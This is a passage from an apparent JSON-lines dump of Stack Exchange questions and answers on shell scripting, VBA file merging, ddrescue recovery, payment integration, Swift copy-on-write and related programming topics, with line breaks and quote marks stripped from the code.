You can save just the names with declare |awk -F= '/=/ { print $1 }' >tmpfile.$$.shvarsOr back to the read-only idea: while read var ; do declare -r var; done < tmpfile.$$.shvarsNow you declare yours and later, when you are done: declare -p |awk '$2 !~ /^.r$/ { print $3 }' |cut -d= -f1gets you the list of your variables. The downside is, all those variables are now read-only that shouldn't be."  } 
{  "id": "_softwareengineering.351840"  , "question": "Imagine a structure like this, a list with products.<div class=container>    <div class=teaser>        <img src=...>        <p>Product 1</p>    </div>    <div class=teaser>        <img src=...>        <p>Product 2</p>    </div></div>We need to test the amount of .teaser elements in .container is greater than X.Now the question. I suggested to my team that we rename the generic classnames to real semantic names, so we change the css to fit the semantic classes and we can do frontend-tests for the semantic fields.My suggestion:Radically change the classes and the CSS, no extra classnames for testing purpose.<div class=product-list>    <div class=product>        <img src=...>        <p>Comment</p>    </div>    <div class=product>        <img src=...>        <p>Another Comment 2</p>    </div></div>My teams counter suggestion:Keep the classnames we already have and add test-specific classes (with prefix testing) only used for testing purpose:<div class=container testing-product-list>    <div class=teaser testing-product>        <img src=...>        <p>Comment</p>    </div>    <div class=teaser testing-product>        <img src=...>        <p>Another Comment 2</p>    </div></div>Which solution is better?"  , "title": "Add extra HTML classes for frontend-tests?"  , "tags": "testing;tdd;html;css;front end"  } 
{  "id": "_softwareengineering.305077"  , "question": "Reading Mary Rose Cook's Practical Introduction to Functional Programming, she give as an example of an anti-patterndef format_bands(bands):    for band in bands:        band['country'] = 'Canada'        band['name'] = band['name'].replace('.', '')        band['name'] = band['name'].title()since the function does more than one thingthe name isn't descriptiveit has side effectsAs a proposed solution, she suggests pipelining anonymous functionspipeline_each(bands, [call(lambda x: 'Canada', 'country'),                      call(lambda x: x.replace('.', ''), 'name'),                      call(str.title, 'name')])However this seems to me to have the downside of being even less testable; at least format_bands could have a unit test to check if it does what it's meant to, but how to test the pipeline? Or is the idea that the anonymous functions are so self-explanatory that they don't need to be tested?My real-world application for this is in trying to make my pandas code more functional. I'll often have some sort of pipeline inside a munging functiondef munge_data(df)     df['name'] = df['name'].str.lower()     df = df.drop_duplicates()     return dfOr rewriting in the pipeline style:def munge_data(df)    munged = (df.assign(lambda x: x['name'].str.lower()                .drop_duplicates())    return mungedAny suggestions for best practices in this kind of situation?"  , "title": "Unit testing for data munging pipelines made up of one-line functions"  , "tags": "python;unit testing"  } 
{  "id": "_unix.316185"  , "question": "Where can I get detailed information (including file format, database format) on built-in NSS services such as db, files?"  , "title": "Where to get information on built-in NSS services?"  , "tags": "nsswitch"  , "accepted_answer": "Read the source!   Prepare via:  sudo apt-get install apt-srcThen, pick a file associated with NSS, and find out which software package(s) provide it. Let's use /etc/nsswitch.conf:  dpkg -S /etc/nsswitch.confThen, select a package, and apt-src install it.  "  } 
{  "id": "_codereview.85099"  , "question": "I wrote 3 subroutines related to batch data processing, they will be used together. A bit of background, I wrote this for my admin colleagues who do not write code. An application dumps daily .ack files onto a shared drive which contain data processing messages (success, errors, etc.). I wrote the code with comments aimed at my colleagues, hence stating what would be obvious to someone who knows VBA, please be mindful of that; they are intended so they can modify the data locations and such for their own purposes.The first two subs are quite simple but if something can be improved it would be great:Sub Copy_Files_With_Specific_Extension()    Dim FSO As Object    Dim FromPath As String    Dim ToPath As String    Dim FileExt As String    ' change the value in quotes to the source and destination path you need    FromPath = C:\\Users\\fveilleux-gaboury\\Documents    ToPath = C:\\test    ' change the value in quotes to the file extension you want to copy    ' change the value to *.* to copy all file types    FileExt = *.ack*    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    If Right(FromPath, 1) <> \\ Then        FromPath = FromPath & \\    End If    Set FSO = CreateObject(Scripting.FileSystemObject)    If FSO.FolderExists(FromPath) = False Then        MsgBox Source folder  & FromPath &  doesn't exist        Exit Sub    End If    If FSO.FolderExists(ToPath) = False Then        MsgBox Destination folder  & ToPath &  doesn't exist        Exit Sub    End If    FSO.CopyFile Source:=FromPath & FileExt, Destination:=ToPath    MsgBox You can find the files from  & FromPath &  in  & ToPath    Set FSO = NothingEnd SubSub Rename_File_Extension()    Dim FileName As String    Dim FSO As Object    Dim Folder As Object    Set FSO = CreateObject(Scripting.FileSystemObject)    ' change the value inside the quotes to the folder containing the files    Set Folder = FSO.GetFolder(C:\\test)    Dim OldText As String    Dim NewText As String    ' change the value inside the quotes to find and replace different extensions    OldText = .ack    NewText = .txt    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    For Each File In Folder.Files        If InStr(1, File.Name, OldText) <> 0 Then            FileName = Replace(File.Name, OldText, NewText)            File.Name = FileName        End If    Next    MsgBox File extension  & OldText &  has been replaced with  & NewText &  in folder  & Folder    Set FSO = Nothing    Set Folder = NothingEnd SubThis sub is more complicated and I would really want to improve it. It loops through a folder to grab all the file names, puts them in an array, then another loop goes over the indexes and performs IO functions. The output is a large text file which contains every line of data from all of the input files (which I can then import into an Access database for further processing). Sub Combine_Text_Files()    ' change the value inside the quotes to the folder containing the files    ' only supports plain text files *.txt    Dim InputDirPath As String    InputDirPath = C:\\test\\    ' change the value inside the quotes to the folder where you want the output file to go    Dim OutputDirPath As String    OutputDirPath = C:\\    ' change the value inside the quotes to the desired output file name    Dim OutputFileName As String    OutputFileName = _CombinedOutput.txt    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    If Right(InputDirPath, 1) <> \\ Then        InputDirPath = InputDirPath & \\    End If    If Right(OutputDirPath, 1) <> \\ Then        OutputDirPath = OutputDirPath & \\    End If    Dim InputFileType As String    InputFileType = *.txt    Dim InputFileName As String    InputFileName = Dir$(InputDirPath & InputFileType)    Dim FileArray() As String    Dim i As Integer: i = 0    Do Until InputFileName = vbNullString        ReDim Preserve FileArray(0 To i)        FileArray(i) = InputFileName        InputFileName = Dir$        i = i + 1    Loop    Dim FSO As Object    Set FSO = CreateObject(Scripting.FileSystemObject)    Dim Stream As Object    Set Stream = FSO.CreateTextFile((OutputDirPath & OutputFileName), OverWrite:=True, Unicode:=False)    Dim FileNameAndPath As String    For i = LBound(FileArray) To UBound(FileArray)        FileNameAndPath = (InputDirPath & FileArray(i))        Debug.Print (Processing:  & FileNameAndPath)        Dim FileToCopy As File        Set FileToCopy = FSO.GetFile(FileNameAndPath)        Dim StreamToCopy As TextStream        Set StreamToCopy = FileToCopy.OpenAsTextStream(ForReading)        Dim CopiedText As String        CopiedText = StreamToCopy.ReadAll        Stream.WriteLine CopiedText        Debug.Print (Appended to  & OutputFileName & :  & FileNameAndPath)    Next i    MsgBox InputFileType &  files in  & InputDirPath &  have been merged together. & vbNewLine _        & You can find the output file  & OutputFileName &  in this location: & vbNewLine _        & OutputDirPath    Stream.Close    Set FSO = Nothing    Set Stream = NothingEnd Sub"  , "title": "Text files: Copy, Rename, Append/Merge together"  , "tags": "beginner;strings;array;file system;vba"  , "accepted_answer": "given the fact that you wrote it for your colleagues who may change it in future, I'd have all the code in one module to make it a bit clear for them.The code is well structured and easy to read. I'd change just couple of thingsError handlingYou currently do:Sub Copy_Files_With_Specific_Extension()    Dim FSO As Object    Dim FromPath As String    Dim ToPath As String    Dim FileExt As String    ' change the value in quotes to the source and destination path you need    FromPath = C:\\Users\\fveilleux-gaboury\\Documents    ToPath = C:\\test    ' change the value in quotes to the file extension you want to copy    ' change the value to *.* to copy all file types    FileExt = *.ack*    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    If Right(FromPath, 1) <> \\ Then        FromPath = FromPath & \\    End If    Set FSO = CreateObject(Scripting.FileSystemObject)    If FSO.FolderExists(FromPath) = False Then        MsgBox Source folder  & FromPath &  doesn't exist        Exit Sub    End If    If FSO.FolderExists(ToPath) = False Then        MsgBox Destination folder  & ToPath &  doesn't exist        Exit Sub    End If    FSO.CopyFile SOURCE:=FromPath & FileExt, Destination:=ToPath    MsgBox You can find the files from  & FromPath &  in  & ToPath    Set FSO = NothingEnd Subwhich means that your FSO object may not be disposed correctly if any of the condition is true, like hereIf FSO.FolderExists(FromPath) = False Then   MsgBox Source folder  & FromPath &  doesn't exist   Exit Sub End IfI'd change all your methods to support proper error handling like here:Public Sub Copy_Files_With_Specific_Extension()    Const SOURCE    As String = Copy_Files_With_Specific_Extension    Dim FSO         As Object    Dim FromPath    As String    Dim ToPath      As String    Dim FileExt     As String    On Error GoTo ErrorHandler    ' change the value in quotes to the source and destination path you need    FromPath = C:\\Users\\fveilleux-gaboury\\Documents    ToPath = C:\\test    ' change the value in quotes to the file extension you want to copy    ' change the value to *.* to copy all file types    FileExt = *.ack*    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    If Right(FromPath, 1) <> \\ Then        FromPath = FromPath & \\    End If    Set FSO = CreateObject(Scripting.FileSystemObject)    If FSO.FolderExists(FromPath) = False Then        MsgBox Source folder  & FromPath &  doesn't exist        GoTo ExitRoutine    End If    If FSO.FolderExists(ToPath) = False Then        MsgBox Destination folder  & ToPath &  doesn't exist        GoTo ExitRoutine    End If    FSO.CopyFile SOURCE:=FromPath & FileExt, Destination:=ToPath    MsgBox You can find the files from  & FromPath &  in  & ToPathExitRoutine:    Set FSO = Nothing    Exit SubErrorHandler:    MsgBox Hey mate, something went wrong, call me and tell me this & vbNewLine & _           Method name:  & SOURCE & vbNewLine & _           Error code:  & Err.Number & vbNewLine & _           Error description:  & Err.Description    GoTo ExitRoutineEnd Subif any of your conditions are true or if any unexpected error is thrown, the FSO object will be always properly disposed.My assumption is that the source folder and the destination folder may change in future and I don't think your colleagues have to go to the code and change it. I'd write a code that will allow them to change the folder as they need and set the folder you mentioned as defaultHere is code I use (but didn't write it):Option ExplicitPrivate Type BrowseInfo   hWndOwner As Long   pIDLRoot As Long   pszDisplayName As String   lpszTitle As String   ulFlags As Long   lpfnCallback As Long   lParam As Long   iImage As LongEnd TypePublic Const BIF_RETURNONLYFSDIRS = &H1Public Const BIF_DONTGOBELOWDOMAIN = &H2Public Const BIF_STATUSTEXT = &H4Public Const BIF_RETURNFSANCESTORS = &H8Public Const BIF_EDITBOX = &H10Public Const BIF_VALIDATE = &H20Public Const BIF_NEWDIALOGSTYLE = &H40Public Const BIF_USENEWUI = (BIF_NEWDIALOGSTYLE Or BIF_EDITBOX)Public Const BIF_BROWSEINCLUDEURLS = &H80Public Const BIF_UAHINT = &H100Public Const BIF_NONEWFOLDERBUTTON = &H200Public Const BIF_NOTRANSLATETARGETS = &H400Public Const BIF_BROWSEFORCOMPUTER = &H1000Public Const BIF_BROWSEFORPRINTER = &H2000Public Const BIF_BROWSEINCLUDEFILES = &H4000Public Const BIF_SHAREABLE = &H8000Private Const MAX_PATH = 260Private Const WM_USER = &H400Private Const BFFM_INITIALIZED = 1Private Const BFFM_SELCHANGED = 2Private Const BFFM_SETSTATUSTEXT = (WM_USER + 100)Private Const BFFM_SETSELECTION = (WM_USER + 102)Public Declare Function SHGetPathFromIDList Lib shell32.dll Alias SHGetPathFromIDListA (ByVal pidl As Long, ByVal pszPath As String) As LongPublic Declare Function SHBrowseForFolder Lib shell32.dll Alias SHBrowseForFolderA (lpBrowseInfo As BrowseInfo) As LongPublic Declare Sub CoTaskMemFree Lib ole32.dll (ByVal pv As Long)Private Declare Function SendMessage Lib user32 Alias SendMessageA (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As LongPrivate mstrSTARTFOLDER As StringPublic Function GetFolder(ByVal hWndModal As Long, _                          Optional StartFolder As String = , _                          Optional Title As String = Please select a folder:, _                          Optional IncludeFiles As Boolean = False, _                          Optional IncludeNewFolderButton As Boolean = False) As String    Dim bInf As BrowseInfo    Dim RetVal As Long    Dim PathID As Long    Dim RetPath As String    Dim Offset As Integer    'Set the properties of the folder dialog    bInf.hWndOwner = hWndModal    bInf.pIDLRoot = 0    bInf.lpszTitle = Title    bInf.ulFlags = BIF_RETURNONLYFSDIRS Or BIF_STATUSTEXT    If IncludeFiles Then bInf.ulFlags = bInf.ulFlags Or BIF_BROWSEINCLUDEFILES    If IncludeNewFolderButton Then bInf.ulFlags = bInf.ulFlags Or BIF_NEWDIALOGSTYLE    If StartFolder <>  Then       mstrSTARTFOLDER = StartFolder & vbNullChar       bInf.lpfnCallback = GetAddressofFunction(AddressOf BrowseCallbackProc) 'get address of function.   End If    'Show the Browse For Folder dialog    PathID = SHBrowseForFolder(bInf)    RetPath = Space$(512)    RetVal = SHGetPathFromIDList(ByVal PathID, ByVal RetPath)    If RetVal Then         'Trim off the null chars ending the path         'and display the returned folder         Offset = InStr(RetPath, Chr$(0))         GetFolder = Left$(RetPath, Offset - 1)         'Free memory allocated for PIDL         CoTaskMemFree PathID    Else         GetFolder =     End IfEnd FunctionPrivate Function BrowseCallbackProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal lp As Long, ByVal pData As Long) As Long   On Error Resume Next   Dim lpIDList As Long   Dim ret As Long   Dim sBuffer As String   Select Case uMsg       Case BFFM_INITIALIZED           Call SendMessage(hWnd, BFFM_SETSELECTION, 1, mstrSTARTFOLDER)       Case BFFM_SELCHANGED           sBuffer = Space(MAX_PATH)           ret = SHGetPathFromIDList(lp, sBuffer)           If ret = 1 Then               Call SendMessage(hWnd, BFFM_SETSTATUSTEXT, 0, sBuffer)           End If   End Select   BrowseCallbackProc = 0End FunctionPrivate Function GetAddressofFunction(add As Long) As Long GetAddressofFunction = addEnd Functionand how I implemented it to your code:Public Sub Copy_Files_With_Specific_Extension()    Const SOURCE    As String = Copy_Files_With_Specific_Extension    Dim FSO         As Object    Dim FromPath    As String    Dim ToPath      As String    Dim FileExt     As String    On Error GoTo ErrorHandler    ' change the value in quotes to the source and destination path you need    FromPath = GetFolder(hWndModal:=0, _                         StartFolder:=C:\\Users\\fveilleux-gaboury\\Documents, _                         Title:=Select the source folder that contains all the *.ack* files, _                         IncludeNewFolderButton:=True)the change means they will have to make one extra click if the folder is correct but on other side it will give them ability to change it easily in future if needed.The same way you can do the **C:\\test** folder but here I'd consider to make the path as a constant that will be at top of your module and any change applied to the constant will be reflected to all places in your codeConst WORKING_FOLDER    As String = C:\\testPublic Sub Copy_Files_With_Specific_Extension()...    ToPath = WORKING_FOLDER...Sub Rename_File_Extension()...    Set Folder = FSO.GetFolder(WORKING_FOLDER)...Sub Combine_Text_Files()...    InputDirPath = WORKING_FOLDER...I noticed that you use for your ack files two 'formats:FileExt = *.ack*OldText = .ackIs this intended? If it should be the same, again, I'd make a constant at top of your module to make it easy for change in future = one placeFinally your Combine_Text_Files method. I do find your method readable and appropriate. I'm not sure if there is any better/faster method for reading and appending text files but if it's not slow just use it. I found some minor bugs there like **ForReading* constant and not disposing some object variables but otherwise it seems to be OKHere is how it looks like in my editor after all the changes    Option ExplicitConst WORKING_FOLDER    As String = C:\\testPublic Sub Copy_Files_With_Specific_Extension()    Const SOURCE    As String = Copy_Files_With_Specific_Extension    Dim FSO         As Object    Dim FromPath    As String    Dim ToPath      As String    Dim FileExt     As String    On Error GoTo ErrorHandler    ' change the value in quotes to the source and destination path you need    FromPath = GetFolder(hWndModal:=0, _                         StartFolder:=C:\\Users\\fveilleux-gaboury\\Documents, _                         Title:=Select the source folder that contains all the *.ack* files, _                         IncludeNewFolderButton:=True)    ToPath = WORKING_FOLDER    ' change the value in quotes to the file extension you want to copy    ' change the value to *.* to copy all file types    FileExt = *.ack*    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    If Right(FromPath, 1) <> \\ Then        FromPath = FromPath & \\    End If    Set FSO = CreateObject(Scripting.FileSystemObject)    If FSO.FolderExists(FromPath) = False Then        MsgBox Source folder  & FromPath &  doesn't exist        GoTo ExitRoutine    End If    If FSO.FolderExists(ToPath) = False Then        MsgBox Destination folder  & ToPath &  doesn't exist        GoTo ExitRoutine    End If    FSO.CopyFile SOURCE:=FromPath & FileExt, Destination:=ToPath    MsgBox You can find the files from  & FromPath &  in  & ToPathExitRoutine:    Set FSO = Nothing    Exit SubErrorHandler:    MsgBox Hey mate, something went wrong, call me and tell me this & vbNewLine & _           Method name:  & SOURCE & vbNewLine & _           Error code:  & Err.Number & vbNewLine & _           Error description:  & Err.Description, vbExclamation, Unexpected error at  & SOURCE    GoTo ExitRoutineEnd SubSub Rename_File_Extension()    Const SOURCE    As String = Rename_File_Extension    Dim FileName    As String    Dim FSO         As Object    Dim Folder      As Object    Dim File        As Object    On Error GoTo ErrorHandler    Set FSO = CreateObject(Scripting.FileSystemObject)    ' change the value inside the quotes to the folder containing the files    Set Folder = FSO.GetFolder(WORKING_FOLDER)    Dim OldText As String    Dim NewText As String    ' change the value inside the quotes to find and replace different extensions    OldText = .ack    NewText = .txt    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    For Each File In Folder.Files        If InStr(1, File.Name, OldText) <> 0 Then            FileName = Replace(File.Name, OldText, NewText)            File.Name = FileName        End If    Next    MsgBox File extension  & OldText &  has been replaced with  & NewText &  in folder  & FolderExitRoutine:    Set FSO = Nothing    Set Folder = Nothing    Set File = Nothing    Exit SubErrorHandler:    MsgBox Hey mate, something went wrong, call me and tell me this & vbNewLine & _           Method name:  & SOURCE & vbNewLine & _           Error code:  & Err.Number & vbNewLine & _           Error description:  & Err.Description, vbExclamation, Unexpected error at  & SOURCE    GoTo ExitRoutineEnd SubSub Combine_Text_Files()    Const SOURCE            As String = Combine_Text_Files    Const fso_ForReading    As Integer = 1    ' change the value inside the quotes to the folder containing the files    ' only supports plain text files *.txt    Dim InputDirPath As String    On Error GoTo ErrorHandler    InputDirPath = WORKING_FOLDER    ' change the value inside the quotes to the folder where you want the output file to go    Dim OutputDirPath As String    OutputDirPath = C:\\    ' change the value inside the quotes to the desired output file name    Dim OutputFileName As String    OutputFileName = _CombinedOutput.txt    ' DO NOT CHANGE ANYTHING BELOW THIS LINE    If Right(InputDirPath, 1) <> \\ Then        InputDirPath = InputDirPath & \\    End If    If Right(OutputDirPath, 1) <> \\ Then        OutputDirPath = OutputDirPath & \\    End If    Dim InputFileType As String    InputFileType = *.txt    Dim InputFileName As String    InputFileName = Dir$(InputDirPath & InputFileType)    Dim FileArray() As String    Dim i As Integer: i = 0    Do Until InputFileName = vbNullString        ReDim Preserve FileArray(0 To i)        FileArray(i) = InputFileName        InputFileName = Dir$        i = i + 1    Loop    Dim FSO As Object    Set FSO = CreateObject(Scripting.FileSystemObject)    Dim Stream As Object    Set Stream = FSO.CreateTextFile((OutputDirPath & OutputFileName), OverWrite:=True, Unicode:=False)    Dim FileNameAndPath As String    For i = LBound(FileArray) To UBound(FileArray)        FileNameAndPath = (InputDirPath & FileArray(i))        Debug.Print (Processing:  & FileNameAndPath)        Dim FileToCopy As Object        Set FileToCopy = FSO.GetFile(FileNameAndPath)        Dim StreamToCopy As Object        Set StreamToCopy = FileToCopy.OpenAsTextStream(fso_ForReading)        Dim CopiedText As String        CopiedText = StreamToCopy.ReadAll        Stream.WriteLine CopiedText        Debug.Print (Appended to  & OutputFileName & :  & FileNameAndPath)    Next i    MsgBox InputFileType &  files in  & InputDirPath &  have been merged together. & vbNewLine _        & You can find the output file  & OutputFileName &  in this location: & vbNewLine _        & OutputDirPath    Stream.CloseExitRoutine:    Set FSO = Nothing    Set FileToCopy = Nothing    Set StreamToCopy = Nothing    If Not Stream Is Nothing Then        Stream.Close    End If    Set Stream = Nothing    Exit SubErrorHandler:    MsgBox Hey mate, something went wrong, call me and tell me this & vbNewLine & _           Method name:  & SOURCE & vbNewLine & _           Error code:  & Err.Number & vbNewLine & _           Error description:  & Err.Description, vbExclamation, Unexpected error at  & SOURCE    GoTo ExitRoutineEnd Sub"  } 
{  "id": "_unix.344059"  , "question": "I am trying to recover the data from an external HDD for a friend.I am using Knoppix latest version booting it from USB.I created an image (.img) using a tutorial for ddrescue, but now I have the copia.img file and can't mount it.If I try to mount the terminal says:mount: wrong fs type, bad option, bad superblock on .....The drive was used to storage photos and does not contain any OS or similar.If I run File command to the copia.img file it says:DOS/MBR boot sector, code offset 0x52+2, OEM-ID NTFS, Media  descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 63, dos  <4.0 BootSector (0x80), FAT (1Y biy by descriptor);NTFS, sectors/track  63, sectors 1953520001, $MFT start cluster 21931768, $MFTMirror start  cluster 477176, clusters/RecordSgement 2, clusters/index block 8,  serial number 0d2c6a522c6a507b5; contains Microsoft Windows XP/Vista  bootloader BOOTMGRAlso, if I run dmesg command it says:Please can you please help me recovering it?"  , "title": "ddrescue image can't be mounted"  , "tags": "ddrescue"  } 
{  "id": "_softwareengineering.164909"  , "question": "HistoryWe are currently using a so called redirect model for our online payments (where you send the payer to a payment gateway, where he inputs his payment details - the gateway will then return him to a success/failure callback page). That's easy and straight-forward, but unfortunately quite inconvenient and at times confusing for our customers (leaving the site, changing their credit card details with an additional login on another site etc).Intention & Problem descriptionWe are now intending to switch to an integrated approach using an exchange of XML requests and responses. My problem is on how to cater with all (or rather most) of the things that may happen during processing - bearing in mind that normally simplicity is robust whereas complexity is fragile. ExamplesUser abort: The user inputs Credit Card details and hits submit. An XML message to the provider's gateway is sent and waiting for response. The user hits stop in his browser or closes the window.ignore_user_abort() in PHP may be an option - but is that reliable?might it be better to redirect the user to a please wait-page, that in turn opens an AJAX or other request to the actual processor that does not rely on the connection? Database goes awaysounds over-complicated, but with e.g. a webserver in the States and a DB in the UK, it has happened and will happen again: User clicks together his order, payment request has been sent to the provider but the response cannot be stored in the database. What approach could I use, using PHP to sort of start an SQL like Transaction that only at the very end gets committed or rolled back, depending on the individual steps? Should then neither commit or roll back have happened, I could sort of lock the user to prevent him from paying again or to improperly account for payments - but how?And what else do I need to consider technically? None of the integration examples of e.g. Worldpay, Realex or SagePay offer any insight, and either my search engine or my search terms weren't good enough to find somebody else's thoughts on this.Thank you very much for any insight on how you would approach this!"  , "title": "Integrating with a payment provider; Proper and robust OOP approach"  , "tags": "design;php;payment"  } 
{  "id": "_webapps.15022"  , "question": "Using MediaWiki 1.16 with the Vector skin (fresh installation, no upgrades or imports), how do I get that new fancy Ajax-enabled editing toolbar?I've digged through all available settings in php, but whatever I do, I get the old monobook-style toolbar:Apparently, this is not a caching issue, as I was able to use this method to add more buttons to this toolbar.Currently I have the following customizations:$wgDefaultSkin = 'vector';$wgUseAjax = true;$wgEnableMWSuggest = true;   # Enable ajax suggestions for search box$wgGroupPermissions['*']['edit'] = false;   # Disable anonymous editsI've also enabled short URLs as described here.Everything else on my wiki looks definitely like Vector. It's just the toolbar.The official manual seems to be making a good laugh out of me, as this new fancy toolbar said to be the default for the Vector skin."  , "title": "New toolbar for editing in Vector: How to get?"  , "tags": "mediawiki"  , "accepted_answer": "It appears that the new toolbar is an experimental feature that you have to install: http://www.mediawiki.org/wiki/Extension:UsabilityInitiative"  } 
{  "id": "_webmaster.11145"  , "question": "I have a site which was performing well in the search engines - I wanted to redevelop the site, so in the interim period I set up a redirect from my site to my parent company's site (which has a small section relating to my services). Fairly quickly, this section of the parent site inherited my seo ranking, backlinks etc, which is fine and is what I expected. However, I now have a new site ready and plan to remove the redirect - do you know how this is likely to affect my site? Many thanks"  , "title": "SEO on site temporarily redirected, then re-enabled"  , "tags": "seo"  } 
{  "id": "_unix.111736"  , "question": "I need to monitor the time it takes to rlogin from one HP-UX machine to another.So I wrote this:#!/bin/shresult=`rlogin 10.10.10.1 << EOFexitEOF`result2=`{ time $result >/dev/null; } |& grep real`echo $result2This shellscript works when I run it on a Linux machine, but for some reason it doesnt work when I run it on HP-UX. Both are using /bin/sh.Why doesn't it work on HP-UX?"  , "title": "How to measure rlogin time?"  , "tags": "shell;shell script;time;hp ux"  } 
{  "id": "_softwareengineering.315098"  , "question": "I plan to have a web server, which will serve JavaScript used to make connections, and a socket server which the javascript will talk to.How can I make sure that when deploying a new update, the javascript and socket server are on the same version and so don't get confused. Do I have to restart both at exactly the same time?"  , "title": "Keeping deploys in Sync"  , "tags": "sockets;websockets"  } 
{  "id": "_cogsci.507"  , "question": "Knowing that sleep quantity and quality affects cognitive performance across many domains, why aren't pre-test sleep measures or intra-test measures of arousal a standard part of all cognitive test paradigms? "  , "title": "Why aren't sleep measures consistently measured as mediators/moderators of cognitive performance?"  , "tags": "cognitive psychology;measurement;methodology;sleep"  } 
{  "id": "_softwareengineering.337229"  , "question": "I am working on setting up a multi-tenant site, where users can select a theme.  Each of these themes have different settings, so I would like someone to be able to select a theme and then when they edit their site settings it would bring up a form to allow that.  I am sure I could do this through hard coding data, but it would seem that I would be better off using plugins to allow new theme plugins to be added and remove the need to magic strings or having to create a dynamic settings page that reads what fields to display from a database.  There is plenty of documentation on things like MEF, but I need some help on figuring out how to display a unique view for each theme and then store the results.  Any help or direction would be appreciated."  , "title": "Plugin Strategy For MVC 5 Site"  , "tags": "c#;asp.net mvc5"  } 
{  "id": "_unix.125015"  , "question": "GPIO User Space App describes user space application to test the GPIO.Another related link is Linux GPIO Driver.This would be running on a xilinx zynq board having an ARM Cortex A 9 processor. I am unable to understand why they are asking to compile this source code using gcc:// the following bash script to toggle the gpio is also handy for// testing//// while [ 1 ]; do//  echo 1 > /sys/class/gpio/gpio240/value//  echo 0 > /sys/class/gpio/gpio240/value// done// to compile this, use the following command// gcc gpio.c -o gpioShould it not be ARM-linux-gcc. instead of gcc?      Or these commands are to be typed on the target once the kernel boots?   "  , "title": "GPIO User Space App"  , "tags": "linux kernel;embedded;drivers;gpio"  } 
{  "id": "_codereview.133141"  , "question": "I'm implementing a SinglyLinkedList struct that uses a private Node class in its implementation.  (See this Gist.)public struct SinglyLinkedList<Element> {    private var head: Node<Element>?    ...}extension SinglyLinkedList: MutableCollection { ... }extension SinglyLinkedList: RangeReplaceableCollection { ... }private class Node<Element> {    private var value: Element    private var next: Node?}In order to give my linked list value semantics, I want to give it copy on write behaviour, much like Swift's native Array, Set and Dictionary structures. So before any mutation takes place, I need to make  a copy of the data in case the data is shared with another list:extension SinglyLinkedList {    /// Adds a new element to the front of the list.    public mutating func prepend(_ element: Element) {        copyIfNeeded()        head = Node(value: element, next: head)    }}The only thing left to do is to implement copyIfNeeded(). Clearly I need to use isUniquelyReferencedNonObjC for that. The naive way to do this would be to traverse the whole list and call the isUniquelyReferencedNonObjC function once for each node. However, this would make the time complexity of each mutating operation O(n), defeating the purpose of using a linked list in the first place.Checking if head is uniquely referenced is not enough, because I made SinglyLinkedList its own subsequence, meaning that any slice of a linked list will be another linked list. The slice and the original list won't necessarily share their head nodes.In order to be able to run copyIfNeeded() in constant time, I introduce an empty Reference class:private class Reference {}I also give my linked list a reference property:public struct SinglyLinkedList<Element> {    ...    private var reference: Reference    public init() {        reference = Reference()        ...    }    ...}This allows me to implement copyIfNeeded() like this:extension SinglyLinkedList {    /// - returns: `true` if a copy was made, `false` otherwise.    @discardableResult    private mutating func copyIfNeeded() -> Bool {        guard !isUniquelyReferencedNonObjC(&reference) else { return false }        var copy = SinglyLinkedList()        // add all elements of self to copy        self = copy        return true    }}This implementation works fine. I have verified that a copy is only made if two lists reference the same nodes, and only when one of the lists is being mutated. However, it doesn't feel right to implement an empty class that I only use for its reference count.Are there any alternatives to this approach?"  , "title": "Copy-on-write linked list with value semantics"  , "tags": "linked list;swift;reference"  } 
{  "id": "_webapps.70767"  , "question": "Yesterday I started to create an account on Dwolla. As I couldn't input certain required information, I had to cancel the signup.When I tried to find a Delete account option, I notice there's none. That means that I can still login, by entering my email and password.So I sent an email to support asking to (please) delete my account, and this is what I get:Our data retention policy is based on the laws applicable to Dwolla. We are required to retain certain customer information even after account closure in order to comply with those laws. Per our policy, we will only retain customer information to allow us to comply with such laws and enforce our TOS. Please be assured that your information is protected and kept secure on our encrypted servers.Is this right? I can't get them to delete my account, even if I ask them to do so?"  , "title": "Dwolla not deleting my account"  , "tags": "user accounts"  } 
{  "id": "_webapps.17170"  , "question": "Is there a way to always watch YouTube videos in HD (when available) and without changing the resolution yourself?YouTube offers 360 standard for small player, 480 for large and 720 for full screen.I would like to have the 720 video high definition version. Always."  , "title": "Always watch videos in HD on YouTube"  , "tags": "youtube"  , "accepted_answer": "I don't believe that there is a setting in YouTube to do this.  You can achieve this by installing this GreaseMonkey script though.YouTube HD SuiteScript Summary: Perfect package to enjoy HD videos in YouTube. Always watching or downloading the highest quality format ( HD 1440p /  HD 1080p / HD 720p / HQ FLV / MP4 iPod ). Add download icons in video  list page.Version: 3.4.1"  } 
{  "id": "_codereview.122564"  , "question": "This function try to scan the given function in n dimensions in the given range by adaptively divide the area into n+1 points polygon (e.g. triangle in 2D; tetrahedron in 3D)I tried to seperate the implementation of splitting/initializing, as it would be easier to apply it on other cases (e.g. square lattice scan, discrete scan, tree scan, etc..)async_scan.pyfrom initializer import RecursiveBoundaryCentreInitializerfrom solver import Solverfrom explorer import Explorerfrom splitter import LargestDisputeLineSplitterdef async_scan(executor, initializer, splitter, func, *iterables):    solver = Solver(executor, func)    explorer = Explorer(solver, splitter)    for points in initializer(iterables):        explorer.register(points)    for point, future in solver:        exception = future.exception()        result = future.result() if exception is None else exception        yield point, result        explorer.trigger(point)def async_surface_scan(executor, tol, func, *iterables):    initializer = RecursiveBoundaryCentreInitializer()    splitter = LargestDisputeLineSplitter(tol)    return async_scan(executor, initializer, splitter, func, *iterables)def example():    from concurrent.futures import ThreadPoolExecutor as Executor    from math import atan2 as func    with Executor() as executor:        x = y = (-1, 3)        results = async_surface_scan(executor, 0.03, func, x, y)        for (x, y), f in results:            print(x, y, f)if __name__ == '__main__':    example()explorer.pyfrom collections import defaultdictfrom concurrent.futures import Futureclass Explorer(object):    def __init__(self, solver, splitter):        self.solver = solver        self.splitter = splitter        self.registry = defaultdict(set)    def register(self, points):        job = Job(self.solver, points)        for point in points:            self.registry[point].add(job)    def trigger(self, point):        queue = self.registry[point]        while queue:            job = queue.pop()            if not job.done():                continue            for p in job.points:                self.registry[p].discard(job)            for points in self.split(job):                self.register(points)    def split(self, job):        points = job.points        